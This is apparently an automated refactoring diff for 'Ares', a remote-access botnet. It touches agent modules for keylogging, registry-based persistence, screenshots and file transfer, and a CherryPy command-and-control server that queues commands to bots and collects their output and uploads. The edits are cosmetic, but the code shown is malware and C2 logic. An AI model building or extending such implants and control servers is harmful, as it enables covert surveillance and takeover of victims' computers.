Sourcery Starbot ⭐ refactored he0x/Ares

agent/modules/download.py

@@ -14,9 +14,8 @@ def run(url):
 
 
 def help():
-    help_text = """
+    return """
     Usage: download http://example.com/filename
     Downloads a file through HTTP.
 
     """
-    return help_text

agent/modules/keylogger.py

@@ -55,9 +55,8 @@ def run(action):
 
 
 def help():
-    help_text = """
+    return """
     Usage: keylogger start|show
     Starts a keylogger or shows logged keys.
 
     """
-    return help_text

agent/modules/persistence.py

@@ -34,10 +34,7 @@ def clean():
 def is_installed():
     output = os.popen(
         "reg query HKCU\Software\Microsoft\Windows\Currentversion\Run /f %s" % SERVICE_NAME)
-    if SERVICE_NAME in output.read():
-        return True
-    else:
-        return False
+    return SERVICE_NAME in output.read()
 
 
 def run(action):
@@ -55,9 +52,8 @@ def run(action):
 
 
 def help():
-    help_text = """
+    return """
     Usage: persistence install|remove|status
     Manages persistence.
 
-    """
-    return help_text
+    """

agent/modules/screenshot.py

@@ -19,9 +19,8 @@ def run():
 
 
 def help():
-    help_text = """
+    return """
     Usage: screenshot
     Captures screen.
 
     """
-    return help_text

agent/modules/upload.py

@@ -19,9 +19,8 @@ def run(path):
 
 
 def help():
-    help_text = """
+    return """
     Usage: upload path/to/local/file
     Uploads a file.
 
     """
-    return help_text

server/server.py

@@ -33,9 +33,7 @@ def validate_botid(candidate):
 def query_DB(sql, params=()):
     conn = sqlite3.connect('beta.db')
     cursor = conn.cursor()
-    result = []
-    for row in cursor.execute(sql, params):
-        result.append(row)
+    result = list(cursor.execute(sql, params))
     conn.close()
     return result
 
@@ -52,18 +50,26 @@ class Main(object):
     @cherrypy.expose
     def index(self):
         with open("Menu.html", "r") as f:
-            html = f.read()
-            return html
+            return f.read()
 
 
 class CNC(object):
     @cherrypy.expose
     def index(self):
         bot_list = query_DB("SELECT * FROM bots ORDER BY lastonline DESC")
-        output = ""
-        for bot in bot_list:
-            output += '<tr><td><a href="bot?botid=%s">%s</a></td><td>%s</td><td>%s</td><td>%s</td><td><input type="checkbox" id="%s" class="botid" /></td></tr>' % (bot[0], bot[0], "Online" if time.time() - 30 < bot[1] else time.ctime(bot[1]), bot[2], bot[3],
-                bot[0])
+        output = "".join(
+            '<tr><td><a href="bot?botid=%s">%s</a></td><td>%s</td><td>%s</td><td>%s</td><td><input type="checkbox" id="%s" class="botid" /></td></tr>'
+            % (
+                bot[0],
+                bot[0],
+                "Online" if time.time() - 30 < bot[1] else time.ctime(bot[1]),
+                bot[2],
+                bot[3],
+                bot[0],
+            )
+            for bot in bot_list
+        )
+
         with open("List.html", "r") as f:
             html = f.read()
             html = html.replace("{{bot_table}}", output)
@@ -84,17 +90,19 @@ class API(object):
     def pop(self, botid, sysinfo):
         if not validate_botid(botid):
             raise cherrypy.HTTPError(403)
-        bot = query_DB("SELECT * FROM bots WHERE name=?", (botid,))
-        if not bot:
-            exec_DB("INSERT INTO bots VALUES (?, ?, ?, ?)", (html_escape(botid), time.time(), html_escape(cherrypy.request.headers["X-Forwarded-For"]) if "X-Forwarded-For" in cherrypy.request.headers else cherrypy.request.remote.ip, html_escape(sysinfo)))
-        else:
+        if bot := query_DB("SELECT * FROM bots WHERE name=?", (botid,)):
             exec_DB("UPDATE bots SET lastonline=? where name=?", (time.time(), botid))
-        cmd = query_DB("SELECT * FROM commands WHERE bot=? and sent=? ORDER BY date", (botid, 0))
-        if cmd:
-            exec_DB("UPDATE commands SET sent=? where id=?", (1, cmd[0][0]))
-            return cmd[0][2]
         else:
+            exec_DB("INSERT INTO bots VALUES (?, ?, ?, ?)", (html_escape(botid), time.time(), html_escape(cherrypy.request.headers["X-Forwarded-For"]) if "X-Forwarded-For" in cherrypy.request.headers else cherrypy.request.remote.ip, html_escape(sysinfo)))
+        if not (
+            cmd := query_DB(
+                "SELECT * FROM commands WHERE bot=? and sent=? ORDER BY date",
+                (botid, 0),
+            )
+        ):
             return ""
+        exec_DB("UPDATE commands SET sent=? where id=?", (1, cmd[0][0]))
+        return cmd[0][2]
 
     @cherrypy.expose
     def report(self, botid, output):
@@ -114,10 +122,8 @@ def push(self, botid, cmd):
     def stdout(self, botid):
         if not validate_botid(botid):
             raise cherrypy.HTTPError(403)
-        output = ""
         bot_output = query_DB('SELECT * FROM output WHERE bot=? ORDER BY date DESC LIMIT 10', (botid,))
-        for entry in reversed(bot_output):
-            output += "> %s\n\n" % entry[2]
+        output = "".join("> %s\n\n" % entry[2] for entry in reversed(bot_output))
         bot_queue = query_DB('SELECT * FROM commands WHERE bot=? and sent=? ORDER BY date', (botid, 0))
         for entry in bot_queue:
             output += "> %s\n[PENDING...]\n\n" % entry[2]
@@ -140,13 +146,12 @@ def upload(self, botid, src, uploaded):
         while os.path.exists(os.path.join(up_dir, src)):
             src = "_" + src
         save_path = os.path.join(up_dir, src)
-        outfile = open(save_path, 'wb')
-        while True:
-            data = uploaded.file.read(8192)
-            if not data:
-                break
-            outfile.write(data)
-        outfile.close()
+        with open(save_path, 'wb') as outfile:
+            while True:
+                data = uploaded.file.read(8192)
+                if not data:
+                    break
+                outfile.write(data)
         up_url = "../uploads/" +  html_escape(botid) + "/" + html_escape(src)
         return 'Uploaded: <a href="' + up_url + '">' + up_url + '</a>'